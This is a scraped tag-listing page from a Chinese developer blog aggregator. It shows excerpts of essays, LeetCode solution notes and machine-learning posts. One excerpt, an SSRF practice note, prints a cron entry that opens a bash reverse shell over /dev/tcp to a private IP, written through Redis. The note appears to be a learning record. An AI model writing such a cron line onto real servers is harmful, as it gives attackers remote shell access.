E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
随记随想
随想
道德理性或者理性道德,是一种机械的,教条的,并且带着冰冷的规则,从这个层面来讲,儒家讲的事亲以礼,就是这样一种规则,他将父子之间的亲情,完全的抛弃在外,而是以“礼”这个外在的规则来确定。然而,这种规则,显然没有发自内心的爱,更能让人感受的到。比如孩子向父母会心一笑,绝对比事之以“礼”更让父母满足。“礼”,显然不能也无法规定孩子该对父母笑几次。更无法确定哪次微笑是发自内心的,哪次微笑是源自规则的。
墨者永在行
·
2024-08-30 09:08
教育艺术
随想
录——李希贵
第51天2021.08.11第一辑:靠机制创造公平读书所得:1.从要我怎么办到我要怎么办,改变行政会议的思路,随着各中层的不断发展进步,往后的会议应该是提出我要干什么,怎么才能办好,为高层领导建言献策不再让领导思考如何做,只思考这样做有哪些补充!2.从不许干什么到应该干什么,换种眼光看问题,管理和政策的全部艺术就在于何时何地估计并了解应该吧主要力量集中到哪里!学校领导应该起到引领带头作用,不给老师
老田的歌迷
·
2024-08-30 08:41
代码
随想
录算法训练营第二天 | 数组part02:209.长度最小的子数组 ,59.螺旋矩阵II ,区间和,开发商购买土地
209.长度最小的子数组classSolution{public:intminSubArrayLen(inttarget,vector&nums){intslow=0,fast=0,size=nums.size();intsum=0;queueqe;intres=INT_MAX;while(fast=target){if(res>qe.size()){res=qe.size();}sum-=qe.
白羊TUT
·
2024-08-30 06:03
算法
矩阵
java
代码
随想
录算法训练营第1天 | 题目704、题目27
代码
随想
录算法训练营第1天|题目704、题目27文章来源:代码
随想
录视频来源:视频题目名称:704.二分查找给定一个n个元素有序的(升序)整型数组nums和一个目标值target,写一个函数搜索nums
Further0356
·
2024-08-29 17:04
算法
代码
随想
录训练营day29|贪心算法part3
加油站力扣题目链接classSolution{public:intcanCompleteCircuit(vector&gas,vector&cost){intpre=0;intcur;intresult=0;intsumGas=0;for(inti=0;i0){result=i;pre=0;}pre=pre+gas[i]-cost[i];}//能跑完全程return(sumGas>=0)?resu
aNgler_hdu
·
2024-08-29 17:34
贪心算法
算法
代码
随想
录算法训练营第二十九天 | 贪心算法 part03
134.加油站贪心策略:1.如果每个加油站的剩余油量总和小于0,说明不存在可以绕一圈的情况2.在遍历加油站的过程中,当剩余油量和小于0时,说明此时的初始位置油量不能支持,因此更新初始位置到下一个加油站。classSolution{public:intcanCompleteCircuit(vector&gas,vector&cost){intrestSum=0;intstart=0;intcurSu
sagen aller
·
2024-08-29 17:33
算法
贪心算法
【代码
随想
录训练营第42期 Day29打卡 贪心Part3 - LeetCode 134. 加油站 135. 分发糖果 860.柠檬水找零 406.根据身高重建队列
目录一、做题心得二、题目与题解题目一:134.加油站题目链接题解1:暴力求解(失败版)题解2:贪心题目二:135.分发糖果题目链接题解:双维度贪心题目三:860.柠檬水找零题目链接题解:贪心题目四:406.根据身高重建队列题目链接题解:双维度贪心三、小结一、做题心得今天依旧是贪心章节的习题。贪心这一块难度比较大,今天接触到了双维度贪心这一类题型,旨在使用两个贪心策略完成这类题--135.分发糖果以
逝去的秋风
·
2024-08-29 17:30
代码随想录打卡
leetcode
算法
贪心
代码
随想
录 -- 哈希表 -- 四数之和
18.四数之和-力扣(LeetCode)思路:(与三数之和类似,在外面加一层循环)1.先将nums按升序排序2.初始状态:k=0,i=k+1,left=i+1,right=len(nums)-13.进入第一层for循环:如果nums[k]>0andtarget>0andnums[k]>targrt时,不存在满足条件的四元组。(剪枝)如果nums[k]==nums[k-1]andk>0时,conti
可别是个可爱鬼
·
2024-08-29 12:58
代码随想录
散列表
数据结构
算法
leetcode
python
代码
随想
录算法训练营第三十七天| LeetCode738.单调递增的数字
LeetCode738单调递增的数字题目链接:738.单调递增的数字-力扣(LeetCode)【解题思路】需要采用从后往前的遍历如果发现该数字的前一位比后一位大,那么前一位就做-1处理,后一位变为9注意:千万不要将start初始化成0!!因为如果if逻辑没有走到,那么下面的for循环会从0开始将所有位的数值赋值成0!!!【解题步骤】1.将传进来的int值转化为String类型,目的是为了方便遍历2
小救星小然
·
2024-08-29 08:37
算法
代码
随想
录算法训练营第三十三天| LeetCode1005.K次取反后最大化的数组和、LeetCode134. 加油站、LeetCode135. 分发糖果
#LeetCode1005.MaximiseSumOfArrayAfterKNegations#LeetCode1005.视频讲解:贪心算法,这不就是常识?还能叫贪心?LeetCode:1005.K次取反后最大化的数组和_哔哩哔哩_bilibili这个题目中用到了两次局部最优,第一次是在先用k将数组中绝对值大的负数转换为正数,这样保证了局部最优。之后又使用k剩余的次数用在绝对值最小的数值上,这是第
wIridescent-
·
2024-08-29 08:37
算法
代码
随想
录算法训练营第七天| LeetCode454.四数相加II、LeetCode383. 赎金信、LeetCode15. 三数之和、LeetCode18. 四数之和
#LeetCode454.4SumII#LeetCode454.视频讲解:学透哈希表,map使用有技巧!LeetCode:454.四数相加II_哔哩哔哩_bilibili解题思路类似TwoSum题目,区别在于哈希映射的(key,value)分别代表什么。将a和b相加,c和d相加后遍历,相比于暴力解决方法的,这样的时间复杂度为。类似求两个数的和为0,将a和b的和映射在哈希数组中,因为此题不需要去除重
wIridescent-
·
2024-08-29 08:07
算法
代码
随想
录算法训练营Day32||Leetcode56. 合并区间、 738.单调递增的数字、
一、合并区间简简单单,过了。先排序然后从第二组数据遍历数组,让后者的左边界为前二的最小值,右边界为前二的最大值,最后遇到不重叠返回前一组数据。最后把数组最后一个元素返回即可。classSolution{public:vector>result;vectorpath;staticboolcmp(vector&a,vector&b){if(a[0]==b[0])returna[1]>merge(vec
jiegongzhu3z
·
2024-08-29 08:06
算法
数据结构
代码
随想
录算法训练营第三十七天| 56. 合并区间、738. 单调递增的数字、968. 监控二叉树
[LeetCode]56.合并区间[LeetCode]56.合并区间文章解释[LeetCode]56.合并区间视频解释题目:以数组intervals表示若干个区间的集合,其中单个区间为intervals[i]=[starti,endi]。请你合并所有重叠的区间,并返回一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间。示例1:输入:intervals=[[1,3],[2,6],[8,10],[
dreamtang
·
2024-08-29 08:36
LeetCode
算法学习
算法
【代码
随想
录算法训练营第42期 第三十一天 | LeetCode56. 合并区间、738.单调递增的数字】
代码
随想
录算法训练营第42期第三十一天|LeetCode56.合并区间、738.单调递增的数字一、56.合并区间解题代码C++:classSolution{public:vector>merge(vector
天.真
·
2024-08-29 08:06
算法
数据结构
代码
随想
录算法训练营第九天 | LeetCode 28
文章目录前言一、LeetCode28总结前言LeetCode题目:LeetCode28Takeaway:KMP算法。一、LeetCode28经典KMP算法题,理解很重要。我自己的理解是KMP其实用了回溯+动态规划的思路来减少无用功,让已经匹配过的字符串可以复用。classSolution{public:voidgetNext(int*next,conststring&s){//j就是前缀串的末尾i
Bingjiaokong
·
2024-08-29 08:05
随想录刷题
leetcode
算法
职场和发展
代码
随想
录训练营第37天 | LeetCode 738.单调递增的数字、LeetCode 968.监控二叉树、
目录LeetCode738.单调递增的数字文章讲解:代码
随想
录(programmercarl.com)视频讲解:贪心算法,思路不难想,但代码不好写!
A_2847443402
·
2024-08-29 08:35
leetcode
算法
职场和发展
ssrf做题
随记
--任务计划的写入、csrf简单知识
目录ssrfcsrfssrf这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
板栗妖怪
·
2024-08-29 07:30
小记
随笔
学习
三生
随记
——AI的觉醒
在一个风和日丽的周末,林杰在家中惬意地享受着休闲时光。他是一个科技爱好者,尤其对人工智能(AI)充满了兴趣。家中摆放着各种智能设备,从智能音箱到扫地机器人,都是他的心头好。然而,他总觉得现有的AI技术还不够成熟,无法真正实现智能化。有一天,林杰在浏览科技新闻时,无意间发现了一个名为“觉醒”的AI项目。这个项目声称能够打造出真正具备自我意识的AI,让它像人类一样思考。林杰立刻被吸引了,他决定参与这个
滴答滴嗒嗒嗒
·
2024-08-29 06:19
三生随记
人工智能
三生随记
【机器学习-
随记
】使用 Slack 和 Facebook Messenger 的消息机器人实现虚拟客服人员
使用Slack和FacebookMessenger的消息机器人实现虚拟客服人员1.平台选择与集成2.消息机器人开发3.自然语言处理(NLP)4.虚拟助手功能实现5.语音助手集成6.安全与用户隐私7.测试与部署边走、边悟迟早会好实现一个虚拟客服人员,能够通过Slack和FacebookMessenger进行交互,并执行虚拟助手和语音助手通常完成的任务,涉及多个技术组件和步骤。以下是实现这一系统的详细
听忆.
·
2024-08-29 06:19
机器学习
facebook
机器人
代码
随想
录day57 prim算法精讲 kruskal算法精讲
代码
随想
录day57prim算法精讲kruskal算法精讲卡码网:53.寻宝代码
随想
录#include#include#includeusingnamespacestd;intmain(){intv,e
咸鱼的自我变强之路
·
2024-08-29 04:08
代码随想录_刷题
算法
代码
随想
录算法训练营第三天 203.移除链表元素、 707.设计链表 、206.反转链表
代码
随想
录算法训练营第三天|203.移除链表元素、707.设计链表、206.反转链表203.移除链表元素代码
随想
录视频两种方式,一种是有虚拟头结点的,另一种是没有虚拟头结点的没有虚拟头结点需要注意的是删除头结点和非头结点操作方法不一致
咸鱼的自我变强之路
·
2024-08-29 04:38
代码随想录_刷题
链表
算法
数据结构
代码
随想
录系统性一刷总结
代码
随想
录系统性一刷总结数组指针思想很重要day01二分查找+移除元素day02数组平方+长度最小子数组+螺旋矩阵II链表链表结点的增删改查,头结点的运用,灵活运用指针day03移除链表元素+设计链表+
snoooooooooooooopy
·
2024-08-29 04:08
leetcode
java
代码
随想
录-Day32
122.买卖股票的最佳时机II给你一个整数数组prices,其中prices[i]表示某支股票第i天的价格。在每一天,你可以决定是否购买和/或出售股票。你在任何时候最多只能持有一股股票。你也可以先购买,然后在同一天出售。返回你能获得的最大利润。示例1:输入:prices=[7,1,5,3,6,4]输出:7解释:在第2天(股票价格=1)的时候买入,在第3天(股票价格=5)的时候卖出,这笔交易所能获得
ToBeWhatYouWannaBe.
·
2024-08-29 04:36
leetcode
算法
java
代码
随想
录算法训练营第 56 天 |寻找存在的路径
代码
随想
录算法训练营Day55代码
随想
录算法训练营第55天|寻找存在的路径目录代码
随想
录算法训练营前言寻找存在的路径一、并查集基础1、并查集解决什么问题2、并查集主要实现两个功能:3、数据结构4、并查集将两个元素添加到一个集合中
HIT最菜电控
·
2024-08-29 04:06
代码随想录算法训练营
算法
leetcode
图论
代码
随想
录算法训练营第18天 | 第六章 二叉树 part08
第六章二叉树-Part08目录669.修剪二叉搜索树108.将有序数组转换为二叉搜索树538.把二叉搜索树转换为累加树总结篇669.修剪二叉搜索树这道题目比较难,比添加、增加和删除节点难得多,建议先看视频理解。这题虽然看起来比较难,但是实际思路并不难,一层层的往下遍历,遇见在范围内的保留,遇见不在范围内的删除掉,如果root(当前节点)的元素小于low的数值,那么应该递归右子树,并返回右子树符合条
tt555555555555
·
2024-08-28 17:48
C++学习
学习笔记
算法
leetcode
笔记
学习
c++
数据结构
【机器学习】初学者经典案例(
随记
)
边走、边悟迟早会好一、概念机器学习是一种利用数据来改进模型性能的计算方法,属于人工智能的一个分支。它旨在让计算机系统通过经验自动改进,而不需要明确编程。类型监督学习:使用带标签的数据进行训练,包括分类(如垃圾邮件检测)和回归(如房价预测)。无监督学习:使用不带标签的数据进行训练,包括聚类(如客户细分)和降维(如主成分分析)。强化学习:通过与环境的交互学习策略,以最大化累积奖励(如AlphaGo)。
听忆.
·
2024-08-28 11:09
机器学习
人工智能
数据挖掘
深度学习
语言模型
随想
:人生就是一个接一个的山头
上周六,欣爸带我们去北山看满山坡的杏花,妹妹一路爸爸领着在前面,我和姐姐跟在后面,爬一段台阶就呼哧呼哧喘气歇一会儿,跟着爸爸爬上一个山头,又一个山头,再一个山头,还有一个远处的山头,本打算爬,天气开始冷了,于是我们觉得返回。看到满坡的花海,我们直呼太漂亮啦!我不禁在下山的一个山头对着远处满山坡的杏花大声呼喊好几声,内心深处就是想把自己的声音传给它们听,喊完心里感觉舒畅好多。我在想,每天自己都能体会
晓童2021
·
2024-08-28 09:44
请与我度过每年盛夏(情人节番外)
你的小随
随想
去游乐场,还想吃冰激凌了啦!舒随故意用嗲嗲的声音说,激得叶苓起了一身的鸡皮疙瘩:“宝啊,放过我吧!叫上阿柳同志,咱俩去恶心他!”
笙宸洸
·
2024-08-28 09:06
单元整合教学设计
随想
高一年级统编新教材培训刚刚结束,收获满满,感慨颇多。以高中语文新教材为例,与传统教材相比,统编新教材一个最大的特点是契合课程标准和高考评价体系以及语文学科核心素养的具体要求,呈现出了单元任务群的设计新理念。我们教师也应该按照专家的解释,理解教材的编写意图,整合资源,实施大单元教学。在具体的操作过程中,可以不妨按照单元导读课、单篇教读课、整合研讨课、学习策略研究课、活动探究课、写作课、单元总结课和评
素文闲墨
·
2024-08-28 05:35
《唐诗三百首》
随想
选编《唐诗三百首》的蘅塘退士一定是一个风趣幽默的人。首先看他的名号“蘅塘退士”,别人都要当进士,他却偏偏自称“退士”。再看他选编的《唐诗三百首》,第一首诗有“草木有本心,何求美人折”之句,最后一首诗有“花开堪折直须折”之句,一个说不必折,一个说应该折,首尾呼应,妙趣横生。他大概还是“飞花令”爱好者,把《望蓟门》《九日登望仙台呈刘明府容》《送魏万之京》放在一起,三首诗中都有“曙色”二字。蘅塘退士在选
伊平123
·
2024-08-28 05:30
STM32F407ZGT6 CAN笔记
学习CAN协议、参考野火的开发手册和代码
随记
2020年7月30日09:22:01一、CAN1.简介控制器局域网络(ControllerAreaNetwork),由德国的BOSCH公司开发的,并最终成为国际标准
AI_SEED
·
2024-08-27 18:52
STM32
stm32
can
单片机
给自己复盘的
随想
录笔记-链表
链表定义数字域和指针域种类单链表,双链表,循环链表链表的存储方式链表是通过指针域的指针链接在内存中各个节点。所以链表中的节点在内存中不是连续分布的,而是散乱分布在内存中的某地址上,分配机制取决于操作系统的内存管理。删除链表增加链表与数组的对比再把链表的特性和数组的特性进行一个对比,如图所示:数组在定义的时候,长度就是固定的,如果想改动数组的长度,就需要重新定义一个新的数组。链表的长度可以是不固定的
weixin_46321761
·
2024-08-27 16:08
代码随想录
笔记
链表
数据结构
java
红楼梦
随想
二九:少女的进取意2
这日晚上......不想这一刻的工夫,只剩了宝玉在房内。偏生的宝玉要吃茶......世上之事,难得【可巧】二字。可巧袭人、秋纹、碧痕、檀云、麝月,甚至几个作粗活听唤的丫头都不在,几个老嬷嬷宝玉又不喜欢。小红瞅准拿定了这个机会,进屋里给宝玉倒了茶,也即在宝玉跟前露了脸。宝玉仔细打量那丫头:穿着几件半新不旧的衣裳,倒是一头黑鬒鬒(音诊,形容头发乌黑稠密)的头发,挽着个䰖(音攒),容长脸面,细巧身材,却
堂堂君
·
2024-08-27 01:07
随想
我在想从生下来到现在我所认识的朋友,细细数来寥寥无几,只能说我对朋友的定义是很严苛,或者是脑神经罢,那么不将就。以后的我,该如何面对自己的将来?我不清楚
曦曾
·
2024-08-26 23:30
随想
记录:《我的青铜时代》
青铜时代一词,其实很早就接触过。希腊诗人根据人和神的关系将人类时代划分为五个时代。分别是黄金时代,白银时代,青铜时代,英雄时代和黑铁时代。而青铜时代一词最早代表了人不敬神,以青铜器物为主要工具的时代。接触到一档不错的访谈节目《我的青铜时代》,陈晓楠解释“青铜世代”,说到罗丹的雕塑,那意味着人类开始摆脱蒙昧,走向觉醒的时代。而她理解为人开始认清自我,也认定未来道路的坚定的时刻,那是第一次知道了自己人
小舞读书
·
2024-08-26 21:23
代码
随想
录第21天:669. 修剪二叉搜索树、108.将有序数组转换为二叉搜索树、538.把二叉搜索树转换为累加树
669.修剪二叉搜索树//669.修剪二叉搜索树#include#includeusingnamespacestd;structTreeNode{intval;TreeNode*left;TreeNode*right;TreeNode(intx):val(x),left(nullptr),right(nullptr){}};TreeNode*trimBST(TreeNode*root,intlow
淦,又报错了
·
2024-08-26 18:07
算法
数据结构
假期
随想
今天是中秋节,合家团圆的节日。想起往年的中秋,除了团圆,也会去江边赏月,可是江边的月亮并没有诗人描绘的意境:“海上生明月,天涯共此时”。江边通常是没有灯光的,一片黑暗和朦胧,月亮并不是从江面升起来的,而是挂在远远的天边,如果天气不好,或者被云层遮住,或者只是朦胧的光影。赏月的心境早就没有,一般会带着孩子,从江堤的这头溜达到那头,然后就打道回府了。节日过得意兴阑珊,也就如此。中午会去妈妈家团圆,晚上
清风狂舞
·
2024-08-26 10:51
打卡50天------图论
正式开启图论了,作为一个前端工程师,这个代码
随想
录真的刷新了我对于算法的认知,每天都在学习新东西。别着急、放轻松、慢慢来。
感谢上Di_123
·
2024-08-26 04:12
前端算法题
前端
算法
javascript
代码
随想
录day46 647. 回文子串 516.最长回文子序列
代码
随想
录day46647.回文子串516.最长回文子序列647.回文子串代码
随想
录classSolution{public:intcountSubstrings(strings){intsize=s.size
咸鱼的自我变强之路
·
2024-08-26 03:07
代码随想录_刷题
leetcode
算法
随记
2018.7.18
今天是不发火打卡第四天,其实昨天那颗想发火的心就想蠢蠢欲动了,虽然没有发大的火,但小火还是有,然后今天早上差不多快要大火了吧。发现点在哪里呢?1.如果没有休息好,那会比平时更容易发火。2.如果有压力,时间紧迫,也更容易发火。3.如果此时孩子还对我发火,那就是火上浇油了。一句话就是抗压能力弱,情绪控制能力不好……尝试着在有压力的情况下保持平静的心吧!和乐乐聊了一下她为啥发火,她的点在,我们询问的事恰
阳光洒洒
·
2024-08-26 03:44
代码
随想
录算法训练营第二十天|654.最大二叉树 617.合并二叉树 700.二叉搜索树中的搜索 98.验证二叉搜索树
654.最大二叉树又是构造二叉树,昨天大家刚刚做完中序后序确定二叉树,今天做这个应该会容易一些,先看视频,好好体会一下为什么构造二叉树都是前序遍历题目链接/文章讲解:https://programmercarl.com/0654.%E6%9C%80%E5%A4%A7%E4%BA%8C%E5%8F%89%E6%A0%91.html视频讲解:https://www.bilibili.com/video
风之彼端
·
2024-08-25 21:54
算法训练营
算法
代码
随想
录算法训练营第四天|24. 两两交换链表中的节点 19.删除链表的倒数第N个节点 面试题 02.07. 链表相交 142.环形链表II
24.两两交换链表中的节点用虚拟头结点,这样会方便很多。本题链表操作就比较复杂了,建议大家先看视频,视频里我讲解了注意事项,为什么需要temp保存临时节点。题目链接/文章讲解/视频讲解:https://programmercarl.com/0024.%E4%B8%A4%E4%B8%A4%E4%BA%A4%E6%8D%A2%E9%93%BE%E8%A1%A8%E4%B8%AD%E7%9A%84%E8
风之彼端
·
2024-08-25 21:24
算法训练营
算法
链表
面试
代码
随想
录算法训练营第22天-leetcode-二叉树08:669. 修剪二叉搜索树;108.将有序数组转换为二叉搜索树;538.把二叉搜索树转换为累加树
669.修剪二叉搜索树力扣题目链接(opensnewwindow)给定一个二叉搜索树,同时给定最小边界L和最大边界R。通过修剪二叉搜索树,使得所有节点的值在[L,R]中(R>=L)。你可能需要改变树的根节点,所以结果应当返回修剪好的二叉搜索树的新的根节点。分析:需要遍历整棵树,因为父节点被删除或者保留,子节点都有可能删除或者保留;父节点被删除时,左子树和右子树只可能保留一个我的做法:后序遍历每个节
树懒爱沙发
·
2024-08-25 19:16
算法
leetcode
职场和发展
栈和队列——4.前k个高频元素
《代码
随想
录》中介绍了一种利用堆的方法。什么是堆
plutomty
·
2024-08-25 19:13
算法
随想
昨晚回家太晚了,进家门后点开老师语音,很亲切,周老师我是她很久的学员了,三心二意的学员,其实真的不知道具体到要说什么?因为在这近三年里自己的变化也很大,处理事情上还是很吃力,对于婚姻感情更是畏首畏尾,内心深处太多的恐惧陪伴着我,有时觉得自己是个矛盾综合体,我渴望爱情,我内心深处住着一个小菇凉,我喜欢简单纯粹的爱情,(有点语无伦次)目前在追逐自己的爱情,可是我还是害怕,一边目标明确一边又怕这怕那,希
樱桃不甜么
·
2024-08-25 16:25
代码
随想
录算法训练营day51:图论02:99. 岛屿数量;100. 岛屿的最大面积
99.岛屿数量卡码网题目链接(ACM模式)(opensnewwindow)题目描述:给定一个由1(陆地)和0(水)组成的矩阵,你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而成,并且四周都是水域。你可以假设矩阵外均被水包围。输入描述:第一行包含两个整数N,M,表示矩阵的行数和列数。后续N行,每行包含M个数字,数字为1或者0。输出描述:输出一个整数,表示岛屿的数量。如果不存在岛屿,则
树懒爱沙发
·
2024-08-25 16:27
算法
图论
数据结构
代码
随想
录算法训练营day45:动态规划part12:115.不同的子序列;583. 两个字符串的删除操作;72. 编辑距离
目录115.不同的子序列分析:583.两个字符串的删除操作72.编辑距离115.不同的子序列力扣题目链接(opensnewwindow)给定一个字符串s和一个字符串t,计算在s的子序列中t出现的个数。字符串的一个子序列是指,通过删除一些(也可以不删除)字符且不干扰剩余字符相对位置所组成的新字符串。(例如,"ACE"是"ABCDE"的一个子序列,而"AEC"不是)题目数据保证答案符合32位带符号整数
树懒爱沙发
·
2024-08-25 16:57
算法
动态规划
leetcode
数据结构
代码
随想
录算法训练营第43天:动态规划part10:子序列问题
300.最长递增子序列力扣题目链接(opensnewwindow)给你一个整数数组nums,找到其中最长严格递增子序列的长度。子序列是由数组派生而来的序列,删除(或不删除)数组中的元素而不改变其余元素的顺序。例如,[3,6,2,7]是数组[0,3,1,6,2,2,7]的子序列。示例1:输入:nums=[10,9,2,5,3,7,101,18]输出:4解释:最长递增子序列是[2,3,7,101],因
树懒爱沙发
·
2024-08-25 16:27
算法
动态规划
代码
随想
录算法训练营day64 | 98. 所有可达路径
图论理论基础1、图的种类整体上一般分为有向图和无向图。加权有向图,就是图中边是有权值的,加权无向图也是同理。2、度无向图中有几条边连接该节点,该节点就有几度在有向图中,每个节点有出度和入度。出度:从该节点出发的边的个数。入度:指向该节点边的个数。3、连通性在图中表示节点的连通情况,我们称之为连通性连通图和强连通图在无向图中,任何两个节点都是可以到达的,我们称之为连通图。如果有节点不能到达其他节点,
sunflowers11
·
2024-08-25 16:55
代码随想录二刷
算法
代码
随想
录算法训练营Day50||图论part01
昨天的题补完啦~最后熟悉了一下单调栈。今天开始没视频看了,只能啃文字了。先熟悉一些图论基础,以及搜索理论基础。深度优先搜索理论基础类似于回溯算法(递归法),广度优先搜索就类似于迭代法。深度搜索三部曲也和回溯算法类似。卡玛网98.所有可达到路径:和力扣797.所有可能的路径一致。先熟悉ACM模式。邻接表和邻接矩阵的写法都要掌握。先写了一遍邻接矩阵写法,算是先熟悉了一下代码。
傲世尊
·
2024-08-25 15:22
算法
图论
上一页
1
2
3
4
5
6
7
8
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他